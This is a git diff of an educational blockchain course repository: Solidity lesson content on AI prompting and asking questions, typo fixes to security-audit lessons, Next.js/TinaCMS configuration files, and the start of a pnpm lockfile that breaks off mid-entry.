provides a simple way to send Ether to a contract on the JavaScript virtual machine. Simply deploy the contract, then press the `transact` button without any call data while updating the transaction's value. A lack of call data will trigger the `receive` function (if it exists); otherwise it will set off the `fallback` function.\n\n\n\nAs we delve deeper into the advanced features of Solidity, there's much more to explore. Here's to unraveling the ins and outs of Solidity, and celebrating more milestones together on our coding journey!\n\nCongratulations again for making it this far! You're doing great!\n", + "updates": [] + } + ] + }, + { + "number": 4, + "id": "f351e657-b163-4a72-9642-680aea1ad239", + "title": "AI Prompting", + "slug": "ai-prompting", + "folderName": "4-ai-prompting", + "lessons": [ + { + "id": "8bf2aad7-26e9-4950-9c37-c7991d8fd579", + "number": 1, + "title": "AI and forums", + "slug": "ai-and-forums", + "folderName": "1-ai-and-forums", + "description": "A lesson on using AI tools like Chat GPT, Bing's AI, and Google's BERT for debugging in software engineering. It covers the importance of understanding errors, writing clear instructions for AI, and the limitations of AI in debugging. The lesson also emphasizes the significance of documentation and online forums for resolving coding issues.", + "duration": 13, + "videoUrl": "Y4HylRGK6Rk", + "rawMarkdownUrl": "/routes/solidity/4-ai-prompting/1-ai-and-forums/+page.md", + "markdownContent": "---\ntitle: AI prompting and Forums\n---\n\n_Follow along the course with this video._\n\nThe barrier for entry into the world of software and blockchain engineering is smaller than ever. Inevitably we're going to run into problems while coding and knowing where and how to find solutions is an extremely valuable skill.\n\nHere are the exact 6 steps to solve any problem you may face.\n\n1. Tinker\n2. Ask Your AI\n3. Read Docs\n4. Web Search\n5. Ask in a Forum\n6. Ask on the Support Forum or GitHub\n7. Iterate\n\nLets go through them.\n\n### Tinker\n\nPinpoint your error, review your code manually making small adjustments you suspect may resolve the issue. Pinpointing the error in your code will help you frame your question/prompt in the next step.\n\n\n\n### Ask Your AI\n\nThere are several AI models available these days, each with their pros and cons. Here are a few to consider.\n\n- [**ChatGPT**](https://chat.openai.com) - The OG. This model offered by OpenAI is robust, multi-modal, includes code interpretion and can browse the web. The best quality unfortunately comes from the paid version.\n- [**Phind**](https://www.phind.com/search?home=true) - This is a programming focused model with intuition allowing it to proactively ask questions to clarify assumptions. Can also browse the web, and has a VS Code extension!\n- [**Copilot**](https://www.microsoft.com/en-us/edge/features/copilot?form=MA13FJ) - formerly `Bing Chat`, and not to be confused with the IDE AI assistant, Copilot is rapidly becoming Microsoft's whole ecosystem response to the age of AI\n- [**Google Bard**](https://bard.google.com/) - ehhhhh - results may vary.\n\nThere are `6 principles` to prompt engineering to get the best out of your AI.\n\n- **Principle 1:** Write clear and specific instructions\n- **Principle 2:** Give as much context as possible\n- **Principle 3:** Use delimiters to clearerly indicate distinct parts of the input\n- **Principle 4:** Look out for `hallucinations`\n- **Principle 5:** Understand the limitations of the model - many have strict context token limits (though this is rapidly changing)\n- **Principle 6:** Iterate constantly\n\n> Hallucinations are when an AI provides a response that it thinks is correct, but is wrong. These can be hard to spot and require a little experience to call out.\n\nAsking questions is a skill, so keep practicing. There's a great free course at [**learn.deeplearning.ai**](https://learn.deeplearning.ai/) that can help software engineers become better prompt engineers.\n\n### Read Docs\n\nIf a problem is occuring with a particular implementation, framework, language - whatever - you can almost always read the documentation for further insight and examples of how to accomplish your goals.\n\n> You can even use AI to help you here by copying docs as context into a model like ChatGPT and asking questions to it\n\n### Web Search\n\nSomething many AIs are lacking is the ability to retrieve up to date information, or they're limited by not having access to the web. This is where good ol' fashioned web search comes in.\n\nIf you're running into an issue, it's highly likely someone else has to, and search engines like Google have already indexed these questions to serve their answers to you.\n\n> Note: AI Models are advancing rapidly and many models as of Dec 2023 also include web search.\n\n### Ask in a Forum\n\nSometimes the information we need just isn't out there and we're forced to interact with _human beings_\n\nWe always want to ask our questions in a web-indexed forum which will allow search engines and future AI models to index this new information. A few examples are:\n\n- [**Ethereum Stack Exchange**](https://ethereum.stackexchange.com/) - a community-driven question-and-answer platform dedicated to Ethereum, and blockchain technology\n- [**Stack Overflow**](https://stackoverflow.com/) - online platform that facilitates knowledge exchange and problem-solving within the global programming and software development community\n- [**Peerhana**](https://peeranha.io) - Peeranha is a decentralized knowledge sharing platform built on web3 technology, particularly blockchain\n- [**Reddit**](https://www.reddit.com/) - Reddit is a widely popular and diverse social media platform that serves as a hub for online communities, discussions, and content sharing\n\nQuestions asked on Discord and Twitter are likely to get buried in their conversational chaos and will never be indexed, so use these avenues sparingly.\n\n> The super secret alpha is to post your question on a forum like Stack Exchange, then link to that question in your Discord message!\n\nAlways remember to format your questions using markdown when appropriate.\n\n### Ask on the Support GitHub or Forum\n\nIf the tool you're using isn't open source - maybe reconsider how necessary it is! Haha\n\nOpen source projects on GitHub allow people to submit improvements and raise issues, this is how we improve our code.\n\n### Iterate\n\nRepeat the above steps again and again.\n\n### General Tips\n\nThe above are a number of effective steps to overcome issues you'll have while learning. Here are a few additional general tips to keep in mind:\n\n1. **Limit self-triage to 15/20 minutes** - don't force yourself to struggle through solving an issue alone. There are countless tools available to assist in focusing on where the error is and how to solve it\n2. **Don't be afraid to ask AI, but don't skip learning** - AI is going to `hallucinate` it's going to get things wrong. It's only by learning and understanding the underlying concepts that someone will be able to spot these errors and inconsistencies\n3. **Use the Forums!!!** - Asking questions in the GitHub discussions and on forums is a great way to find support - and helping others with their problems is a great way to reinforce what you've learnt\n4. **Google the exact error** - A problem you're having is likely to have been faced by someone else. Leverage search engines to find past solutions\n5. **Make Accounts on Stack Exchange and Peeranha** - These communities are invaluable to assist with Web3 software engineering and coding problems. Use them.\n6. **Post Issues on GitHub/Git** - Interacting with the community is an integral part of the Web3 and software development communities. Open source projects allow the submission of `Issues` and `Pull Requests` on GitHub. Be respectful, but if you're unable to find answers, or believe you're hitting a bug in a protocol - creating issues is a great way to bring these problems to a project's attention.\n\n> Be sure to search for already open issues before submitting a new one to an open source project\n\nIf you don't have any experience with GitHub, don't worry. Our next lesson will be going over the set up of an account to get you started.\n\nAnd, as ChatGPT would say \"Keep hopping through the code, and until next time, stay ribbeting, my fellow blockchaineers!\" 🤦‍♂️😬\n", + "updates": [] + }, + { + "id": "fa0c07d3-1169-49e7-ab1e-761b2d8645d8", + "number": 2, + "title": "Setting up Github", + "slug": "setting-up-github", + "folderName": "2-setting-up-github", + "description": "This lesson guides through the process of setting up a GitHub account, emphasizing its importance in the software development community. It discusses how to ask well-crafted questions on GitHub to engage effectively with the coding community and get helpful responses.", + "duration": 2, + "videoUrl": "Tmv2cggeqGE", + "rawMarkdownUrl": "/routes/solidity/4-ai-prompting/2-setting-up-github/+page.md", + "markdownContent": "---\ntitle: Setting up GitHub\n---\n\n_Follow along the course with this video._\n\n---\n\nHere I'm going to walk you through the creation of a GitHub account.\n\nAsking well-formatted, articulate questions greatly enhances your chances of receiving prompt and effective answers. Many times, these communities are comprised of people who answer queries simply out of goodwill and a shared passion for the knowledge involved. Therefore, make sure your questions are well-crafted to do justice to their time and effort!\n\n\n\nA key platform to engage with these communities is GitHub. If you haven't already, now's the perfect time to activate an account. Don't skip ahead, this is imperative. Let's get started.\n\n### **Step 1: Signing Up for GitHub**\n\nGitHub is the go-to platform for developers. It offers a manageable approach to maintaining code repositories and facilitates collaborative coding and issue resolution. Setting up an account on GitHub is pretty straightforward. If you haven't already done this, you will need an email to get started.\n\n\n\nTo sign up for GitHub, just click on \"Sign up\" and enter your valid email address.\n\n\n\n## **Step 2: Account Creation**\n\nClick on \"Create account\". After registering your email on GitHub, you will receive an email with a launch code. Provide this to GitHub and answer a few preliminary questions.\n\nWhen prompted, choose the free version.\n\n\n\nAnd voila! You've created your GitHub profile.\n\n\n\n### **Moving Forward: Asking 'Great' Questions**\n\nThe following lesson is going to have a focus on question formatting. In order to get timely responses in communities like GitHub you need to be considerate of the questions you're asking and how you're asking them.\n\nDon't skip the next lesson!\n", + "updates": [] + }, + { + "id": "199491e0-daaa-45e2-ac0a-d4ad722e07aa", + "number": 3, + "title": "Formatting a question", + "slug": "formatting-a-question", + "folderName": "3-formatting-a-question", + "description": "A guide on how to ask effective questions in code discussions, particularly on GitHub. It covers the importance of clear, concise, and well-formatted questions, and includes tips on using markdown for code formatting and highlighting specific errors to get better responses.", + "duration": 6, + "videoUrl": "LYVXiIFwLTQ", + "rawMarkdownUrl": "/routes/solidity/4-ai-prompting/3-formatting-a-question/+page.md", + "markdownContent": "---\nFormatting a Question\n---\n\n_Follow along the course with this video._\n\nHello, coders! In this lesson we'll be covering the importance of well crafted questions and how to properly format our inquires to give them the best chance of receiving a response.\n\n## Creating Discussions in GitHub\n\nAs practice, I want you to navigate to the [**GitHub discussions page**](https://github.com/Cyfrin/foundry-full-course-f23/discussions) for this course and try creating a discussion yourself!\n\n> Try to categorize your discussion appropriately. `General` for conversations and discussions, `QA` for questions.\n\n\n\n## The Art of Asking Questions\n\nWe often come across questions that are asked in a hasty and incoherent manner. Here's an example of a poorly formatted question:\n\n```\n\"Hey why my code not be good?\"\n\nquire(msg.value == entranceFee * newPlayers.length, \"PuppyRaffle: Must send enough to enter raffle\");\n for (uint256 i = 0; i < newPlayers.length; i++) {\n```\n\nWe need to be clear in describing our problem, the steps we took that got us to the problem, and explicit in any errors we're receiving.\n\nA better example would be:\n\n---\n\n\"I am receiving this error when compiling.\":\n\n```bash\nTypeError: Exactly one argument expected for explicit type conversion.\n--> PriceConvertor.sol:21:43:\n|\n21| AggregatorV3Interface priceFeed = AggregatorV3Interface()\n|\n```\n\nHere's my code:\n\n```js\nAggregatorV3Interface priceFeed = AggregatorV3Interface()\n```\n\nCould someone please help me figure out what the issue is? 🙏\n\n---\n\nQuite simply, we can take the following necessary steps while crafting our questions:\n\n1. **Describe the issue clearly and concisely** - Be clear in the problem you're facing and what steps got you there\n2. **Highlight the specific error you're experiencing** - including exact error messages can provide those helping you with valuable insight into where things went wrong\n3. **Use markdown for code formatting** - this is critical, formatting your code allows your question to be more readable and approachable for those trying to understand the problem\n4. **Share the relevant part of the code causing the issue** - only include what's relevant to your issue. Don't paste a whole contract into your question unless appropriate to do so. You can provide _too much_ information.\n\nWith a well formatted question, you're going to see a much higher rate of success in receiving help from others as well as AI.\n\n> The importance of markdown formatting cannot be stressed enough. If you're unfamiliar with markdown, don't hesitate to ask an AI like ChatGPT for advice, or to format things for you.\n\n### Wrapping Up\n\nAlways remember, there are no _`bad questions`_ but there are _`poorly formatted questions`_. Make your questions count and format them appropriately.\n\nA pillar of becoming a software engineer is being involved in these communities. Jump in and participate, ask questions and meet people. Contribution is the cornerstone of open source communities. Do your best to answer as many questions as you ask, this will reinforce your knowledge.\n\n> You don't have to be an expert to help those on the journey behind you.\n", + "updates": [] + }, + { + "id": "f5b5f8d6-59cc-45ff-8704-1cf86308b2c5", + "number": 4, + "title": "Speedrun", + "slug": "speedrun", + "folderName": "4-speedrun", + "description": "An introduction to 'Speedrun Ethereum' by Austin Griffin, a resource for learning about Ethereum and the Ethereum Virtual Machine (EVM). The lesson covers various projects like creating NFTs, staking apps, and learning about on-chain randomness, and recommends using Scaffold ETH for practical learning.", + "duration": 4, + "videoUrl": "N7D93c4oSZM", + "rawMarkdownUrl": "/routes/solidity/4-ai-prompting/4-speedrun/+page.md", + "markdownContent": "---\ntitle: Speedrun Ethereum\n---\n\n_Follow along the course with this video._\n\n---\n\nIn this section we're examining a resource that isn't explicitly part of this course but is highly useful in expanding your knowledge about Ethereum and the Ethereum Virtual Machine (EVM). This resource comes courtesy of my good friend Austin Griffin. Let's go over what it can do for you.\n\n\n\n### Introduction to Speedrun Ethereum w/ Austin Griffin\n\nAustin Griffin, renowned for his conspicuous bow tie, is eager to help you kickstart your journey of creating on Ethereum through [**speedrunethereum.com**](https://speedrunethereum.com/). He's developed this resource to clarify the ‘HOW’ and ‘WHY’ behind Ethereum building.\n\nThrough Speedrun Ethereum, you'll delve into a plethora of projects, including:\n\n- **Creating a simple Non-Fungible Token (NFT)**\n- **Constructing a decentralized staking app**\n- **Developing a token vendor**\n- **Building a Dice Game** - learning about randomness on chain\n- **Creating a Decentralized Exchange (Dex)**\n- **Contructing and using a MultiSig Wallet**\n- **SVG NFTs and on chain Data**\n\n...and much more\n\n\n\nTo take advantage of these learning opportunities, visit [Speedrunethereum.com](https://speedrunethereum.com/) and get started!\n\n### Intro to Scaffold-ETH2\n\nScaffold-eth-2 is a great resource for those learning Solidity and trying to visualize what their code is doing.\n\nIt provides a clean front-end UI that will update dynamically with your smart contract changes, allowing you to interact with it and monitor adjustments you've made.\n\n\n\n### Final Remarks\n\nLeverage the knowledge and resources provided by speedrun ethereum and Scaffold ETH to equip you in building innovative solutions on Ethereum. With determined effort and continuous learning, you're sure to make significant strides in the blockchain ecosystem.\n\nHappy Bow-Tie Friday, Austin.\n\n### Congratulations!\n\nYou did it. That's all for this section - you should be incredibly proud. Take a break and rest up, cause you're ready to move on to [**Foundry Fundamentals**](https://updraft.cyfrin.io/courses/foundry)!\n", + "updates": [] + } + ] + } + ] + } +] diff --git a/courses/foundry/4-smart-contract-lottery/5-block-timestamp/+page.md b/courses/foundry/4-smart-contract-lottery/5-block-timestamp/+page.md index 0e289059..abc54d8e 100644 --- a/courses/foundry/4-smart-contract-lottery/5-block-timestamp/+page.md +++ b/courses/foundry/4-smart-contract-lottery/5-block-timestamp/+page.md @@ -29,7 +29,7 @@ Let's dive right into how we can achieve this. Initially, let's focus on the fir To create an `external` function that anyone could call to select a random winner, we'd probably want the winner selection to happen when the lottery is ready for its winner. So, how do we know when that time is right? We make sure that enough time has elapsed to pick a winner. ```js -public function pickWinner() external {} +function pickWinner() external {} ``` We'd achieve this by creating an `interval` variable, specifying how long our lottery will last before a winner is selected. However, since we wouldn't want to keep changing this value, we'll make it an `immutable` variable, meaning it can only be set in the constructor and remains constant throughout the contract's life. diff --git a/courses/foundry/4-smart-contract-lottery/9-enum/+page.md b/courses/foundry/4-smart-contract-lottery/9-enum/+page.md index d646228e..92e1b8c1 100644 --- a/courses/foundry/4-smart-contract-lottery/9-enum/+page.md +++ b/courses/foundry/4-smart-contract-lottery/9-enum/+page.md @@ -60,7 +60,7 @@ Now, extending our `enterRaffle` functionality, we will include a check to ensur ```js if (s_raffleState != RaffleState.OPEN) { - revert Error("RaffleNotOpen"); + revert RaffleNotOpen(); } ``` diff --git a/courses/security/1-review/11-encoding-function/+page.md b/courses/security/1-review/11-encoding-function/+page.md index f4ec5194..4d3ee7b1 100644 --- a/courses/security/1-review/11-encoding-function/+page.md +++ b/courses/security/1-review/11-encoding-function/+page.md @@ -55,7 +55,7 @@ In solidity, we rely on some low-level keywords - `staticcall` and `call` - to p In these functions, the code that specifies a particular function to execute goes into the parentheses (data field). For instance, in a previous function utilized for our lottery contract, ```js -function withdraw(address recentWinnder) public { +function withdraw(address recentWinner) public { (bool success, ) = recentWinner.call{value: address.(this).balance}(""); require(success, "Transfer Failed"); } diff --git a/courses/security/1-review/12-upgradeable-contracts/+page.md b/courses/security/1-review/12-upgradeable-contracts/+page.md index a6b5c711..d54046b2 100644 --- a/courses/security/1-review/12-upgradeable-contracts/+page.md +++ b/courses/security/1-review/12-upgradeable-contracts/+page.md @@ -78,9 +78,9 @@ function setImplementation(address newImplementation) public { - **setImplementation()** - changes the implementation contract, effectively allowing a protocol to upgrade. - **\_implementation** - reads the location of the implementation contract -You may also have noticed `bytes32 private constant _IMPLEMENTATION_SLOT = ...` this is the storage slot where we are storaage the address of our implementation contract. You read more about `Standard Proxy Storage Slots` in [**EIP-1967**](https://eips.ethereum.org/EIPS/eip-1967) +You may also have noticed `bytes32 private constant _IMPLEMENTATION_SLOT = ...` this is the storage slot where we are storing the address of our implementation contract. You can read more about `Standard Proxy Storage Slots` in [**EIP-1967**](https://eips.ethereum.org/EIPS/eip-1967) -Let's consider a based implementation contract: +Let's consider a basic implementation contract: ```js contract ImplementationA { @@ -124,7 +124,7 @@ When this is passed to our proxy contract, the contract won't recognize the func 4. Send transaction with the data -Now, when we call the `readStorage()` function, we caan see that the value on our proxy contract has indeed been set to `777`! +Now, when we call the `readStorage()` function, we can see that the value on our proxy contract has indeed been set to `777`! This is a great illustration of how data is routed from our proxy contract to the implementation contract. Let's see what happens when we upgrade things by changing the implementation contract. diff --git a/courses/security/2-audit/1-what-is-an-audit/+page.md b/courses/security/2-audit/1-what-is-an-audit/+page.md index dac57a86..54eaddef 100644 --- a/courses/security/2-audit/1-what-is-an-audit/+page.md +++ b/courses/security/2-audit/1-what-is-an-audit/+page.md @@ -22,18 +22,18 @@ By now, I hope you're questioning with anticipation: "What does a security revie Right in our GitHub repository, we detail the three phases of a security review and what that process looks like. - Initial Review - Scoping - Reconnaissance - Vulnerability identification - Reporting - Protocol fixes - Fixes issues - Retests and adds tests - Mitigation Review - Reconnaissance - Vulnerability identification - Reporting + 1. Initial Review + a. Scoping + b. Reconnaissance + c. Vulnerability identification + d. Reporting + 2. Protocol fixes + a. Fixes issues + b. Retests and adds tests + 3. Mitigation Review + a. Reconnaissance + b. Vulnerability identification + C. Reporting To give you a heads-up, there really isn't a "one-size-fits-all" approach to smart contract auditing. There are several unique strategies, each bringing a different set of pros and cons to the table. @@ -43,7 +43,7 @@ Before we delve into the specifics, let's discuss why security reviews are criti ## Importance of Security Reviews -> A smart contract audit is a timeboxed, security based review of your smart contract system. An auditor's goal is to find as many vulnerabilities as possible and educate the protocol and security and coding best-practices moving forward. +> A smart contract audit is a timeboxed, security based review of your smart contract system. An auditor's goal is to find as many vulnerabilities as possible and educate the protocol on ways to improve their codebase security and coding best-practices moving forward. As code deployed to a blockchain is immutable, it’s crucial that it's error-free before deployment. The permissionless and adversarial nature of the blockchain means that protocols need to be ready to repel malicious users. Failure to do so can lead to hefty monetary losses, as evidenced by the nearly $4 billion stolen due to smart contract vulnerabilities last year. @@ -78,7 +78,7 @@ Lines of Code: Duration - 5000 : 3-5 Weeks - 5000+: 5+ weeks -Take this with a lot of salt though as these timelines vary largely based on circumstance. +Take this with a lot of salt though, as these timelines vary largely based on circumstance. With the submission of a `commit hash` and `down payment` by the protocol and start date can be set! @@ -96,7 +96,7 @@ Once the review period is over, the auditors compile an initial report. This rep - Medium - Low - Information/Non-critical -- Gas Efficiences +- Gas Efficiencies High, medium and low findings have their severity determined by the impact and likelihood of an exploit. diff --git a/next-env.d.ts b/next-env.d.ts new file mode 100644 index 00000000..fd36f949 --- /dev/null +++ b/next-env.d.ts @@ -0,0 +1,6 @@ +/// +/// +/// + +// NOTE: This file should not be edited +// see https://nextjs.org/docs/basic-features/typescript for more information. diff --git a/next.config.js b/next.config.js new file mode 100644 index 00000000..9dbf42d4 --- /dev/null +++ b/next.config.js @@ -0,0 +1,13 @@ +module.exports = { + webpack(config) { + return config; + }, + async rewrites() { + return [ + { + source: "/admin", + destination: "/admin/index.html", + }, + ]; + }, +}; diff --git a/package.json b/package.json new file mode 100644 index 00000000..da3beccf --- /dev/null +++ b/package.json @@ -0,0 +1,28 @@ +{ + "name": "updraft-cms", + "version": "0.1.0", + "private": true, + "scripts": { + "dev": "TINA_PUBLIC_IS_LOCAL=true tinacms dev --datalayer-port 9001 -c \"next dev\"", + "dev:prod": "TINA_PUBLIC_IS_LOCAL=false tinacms dev --datalayer-port 9001 -c \"next dev\"", + "build": "tinacms build --datalayer-port 9001 --partial-reindex && next build", + "start": "next start", + "lint": "next lint" + }, + "devDependencies": { + "@types/node": "^20.9.0", + "@types/react": "18.2.7", + "@types/react-dom": "18.2.4" + }, + "dependencies": { + "@tinacms/auth": "^1.0.4", + "@tinacms/cli": "^1.5.39", + "next": "^14.0.3", + "next-auth": "^4.24.5", + "next-tinacms-cloudinary": "^4.4.5", + "react": "18.2.0", + "react-dom": "18.2.0", + "tinacms": "^1.5.28", + "typescript": "5.0.4" + } +} diff --git a/pages/api/cloudinary/[...media].ts b/pages/api/cloudinary/[...media].ts new file mode 100644 index 00000000..e5efa519 --- /dev/null +++ b/pages/api/cloudinary/[...media].ts @@ -0,0 +1,30 @@ +import { + createMediaHandler, + mediaHandlerConfig, + } from 'next-tinacms-cloudinary/dist/handlers' + + import { isAuthorized } from '@tinacms/auth' + + if(!process.env.CLOUDINARY_CLOUD_NAME || !process.env.CLOUDINARY_API_KEY || !process.env.CLOUDINARY_API_SECRET) throw new Error('Missing Cloudinary env variables') + + export const config = mediaHandlerConfig + + export default createMediaHandler({ + cloud_name: process.env.CLOUDINARY_CLOUD_NAME, + api_key: process.env.CLOUDINARY_API_KEY, + api_secret: process.env.CLOUDINARY_API_SECRET, + authorized: async (req, _res) => { + try { + if (process.env.NODE_ENV == 'development') { + return true + } + const user = await isAuthorized(req) + + return !!user && user.verified + } catch (e) { + console.error(e) + return false + } + }, + } +) \ No newline at end of file diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml new file mode 100644 index 00000000..9852dbf9 --- /dev/null +++ b/pnpm-lock.yaml @@ -0,0 +1,12834 @@ +lockfileVersion: '6.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +dependencies: + '@tinacms/auth': + specifier: ^1.0.4 + version: 1.0.4 + '@tinacms/cli': + specifier: ^1.5.39 + version: 1.5.39(@babel/core@7.23.5)(@types/node@20.10.3)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + next: + specifier: ^14.0.3 + version: 14.0.3(@babel/core@7.23.5)(react-dom@18.2.0)(react@18.2.0) + next-auth: + specifier: ^4.24.5 + version: 4.24.5(next@14.0.3)(react-dom@18.2.0)(react@18.2.0) + next-tinacms-cloudinary: + specifier: ^4.4.5 + version: 4.4.5(tinacms@1.5.28) + react: + specifier: 18.2.0 + version: 18.2.0 + react-dom: + specifier: 18.2.0 + version: 18.2.0(react@18.2.0) + tinacms: + specifier: ^1.5.28 + version: 1.5.28(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + typescript: + specifier: 5.0.4 + version: 5.0.4 + +devDependencies: + '@types/node': + specifier: ^20.9.0 + version: 20.10.3 + '@types/react': + specifier: 18.2.7 + version: 18.2.7 + '@types/react-dom': + specifier: 18.2.4 + version: 18.2.4 + +packages: + + /@alloc/quick-lru@5.2.0: + resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} + engines: {node: '>=10'} + dev: false + + /@ampproject/remapping@2.2.1: + resolution: {integrity: sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==} + engines: {node: '>=6.0.0'} + dependencies: + '@jridgewell/gen-mapping': 0.3.3 + '@jridgewell/trace-mapping': 0.3.20 + dev: false + + /@ardatan/relay-compiler@12.0.0(graphql@15.8.0): + resolution: {integrity: sha512-9anThAaj1dQr6IGmzBMcfzOQKTa5artjuPmw8NYK/fiGEMjADbSguBY2FMDykt+QhilR3wc9VA/3yVju7JHg7Q==} + hasBin: true + peerDependencies: + graphql: '*' + dependencies: + '@babel/core': 7.23.5 + '@babel/generator': 7.23.5 + '@babel/parser': 7.23.5 + '@babel/runtime': 7.23.5 + '@babel/traverse': 7.23.5 + '@babel/types': 7.23.5 + babel-preset-fbjs: 3.4.0(@babel/core@7.23.5) + chalk: 4.1.2 + fb-watchman: 2.0.2 + fbjs: 3.0.5 + glob: 7.2.3 + graphql: 15.8.0 + immutable: 3.7.6 + invariant: 2.2.4 + nullthrows: 1.1.1 + relay-runtime: 12.0.0 + signedsource: 1.0.0 + yargs: 15.4.1 + transitivePeerDependencies: + - encoding + - supports-color + dev: false + + /@babel/code-frame@7.23.5: + resolution: {integrity: sha512-CgH3s1a96LipHCmSUmYFPwY7MNx8C3avkq7i4Wl3cfa662ldtUe4VM1TPXX70pfmrlWTb6jLqTYrZyT2ZTJBgA==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/highlight': 7.23.4 + chalk: 2.4.2 + dev: false + + /@babel/compat-data@7.23.5: + resolution: {integrity: sha512-uU27kfDRlhfKl+w1U6vp16IuvSLtjAxdArVXPa9BvLkrr7CYIsxH5adpHObeAGY/41+syctUWOZ140a2Rvkgjw==} + engines: {node: '>=6.9.0'} + dev: false + + /@babel/core@7.23.5: + resolution: {integrity: sha512-Cwc2XjUrG4ilcfOw4wBAK+enbdgwAcAJCfGUItPBKR7Mjw4aEfAFYrLxeRp4jWgtNIKn3n2AlBOfwwafl+42/g==} + engines: {node: '>=6.9.0'} + dependencies: + '@ampproject/remapping': 2.2.1 + '@babel/code-frame': 7.23.5 + '@babel/generator': 7.23.5 + '@babel/helper-compilation-targets': 7.22.15 + '@babel/helper-module-transforms': 7.23.3(@babel/core@7.23.5) + '@babel/helpers': 7.23.5 + '@babel/parser': 7.23.5 + '@babel/template': 7.22.15 + '@babel/traverse': 7.23.5 + '@babel/types': 7.23.5 + convert-source-map: 2.0.0 + debug: 4.3.4 + gensync: 1.0.0-beta.2 + json5: 2.2.3 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + dev: false + + /@babel/generator@7.23.5: + resolution: {integrity: sha512-BPssCHrBD+0YrxviOa3QzpqwhNIXKEtOa2jQrm4FlmkC2apYgRnQcmPWiGZDlGxiNtltnUFolMe8497Esry+jA==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.23.5 + '@jridgewell/gen-mapping': 0.3.3 + '@jridgewell/trace-mapping': 0.3.20 + jsesc: 2.5.2 + dev: false + + /@babel/helper-annotate-as-pure@7.22.5: + resolution: {integrity: sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.23.5 + dev: false + + /@babel/helper-compilation-targets@7.22.15: + resolution: {integrity: sha512-y6EEzULok0Qvz8yyLkCvVX+02ic+By2UdOhylwUOvOn9dvYc9mKICJuuU1n1XBI02YWsNsnrY1kc6DVbjcXbtw==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/compat-data': 7.23.5 + '@babel/helper-validator-option': 7.23.5 + browserslist: 4.22.2 + lru-cache: 5.1.1 + semver: 6.3.1 + dev: false + + /@babel/helper-create-class-features-plugin@7.23.5(@babel/core@7.23.5): + resolution: {integrity: sha512-QELlRWxSpgdwdJzSJn4WAhKC+hvw/AtHbbrIoncKHkhKKR/luAlKkgBDcri1EzWAo8f8VvYVryEHN4tax/V67A==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-annotate-as-pure': 7.22.5 + '@babel/helper-environment-visitor': 7.22.20 + '@babel/helper-function-name': 7.23.0 + '@babel/helper-member-expression-to-functions': 7.23.0 + '@babel/helper-optimise-call-expression': 7.22.5 + '@babel/helper-replace-supers': 7.22.20(@babel/core@7.23.5) + '@babel/helper-skip-transparent-expression-wrappers': 7.22.5 + '@babel/helper-split-export-declaration': 7.22.6 + semver: 6.3.1 + dev: false + + /@babel/helper-environment-visitor@7.22.20: + resolution: {integrity: sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==} + engines: {node: '>=6.9.0'} + dev: false + + /@babel/helper-function-name@7.23.0: + resolution: {integrity: sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/template': 7.22.15 + '@babel/types': 7.23.5 + dev: false + + /@babel/helper-hoist-variables@7.22.5: + resolution: {integrity: sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.23.5 + dev: false + + /@babel/helper-member-expression-to-functions@7.23.0: + resolution: {integrity: sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.23.5 + dev: false + + /@babel/helper-module-imports@7.22.15: + resolution: {integrity: sha512-0pYVBnDKZO2fnSPCrgM/6WMc7eS20Fbok+0r88fp+YtWVLZrp4CkafFGIp+W0VKw4a22sgebPT99y+FDNMdP4w==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.23.5 + dev: false + + /@babel/helper-module-transforms@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-7bBs4ED9OmswdfDzpz4MpWgSrV7FXlc3zIagvLFjS5H+Mk7Snr21vQ6QwrsoCGMfNC4e4LQPdoULEt4ykz0SRQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-environment-visitor': 7.22.20 + '@babel/helper-module-imports': 7.22.15 + '@babel/helper-simple-access': 7.22.5 + '@babel/helper-split-export-declaration': 7.22.6 + '@babel/helper-validator-identifier': 7.22.20 + dev: false + + /@babel/helper-optimise-call-expression@7.22.5: + resolution: {integrity: sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.23.5 + dev: false + + /@babel/helper-plugin-utils@7.22.5: + resolution: {integrity: 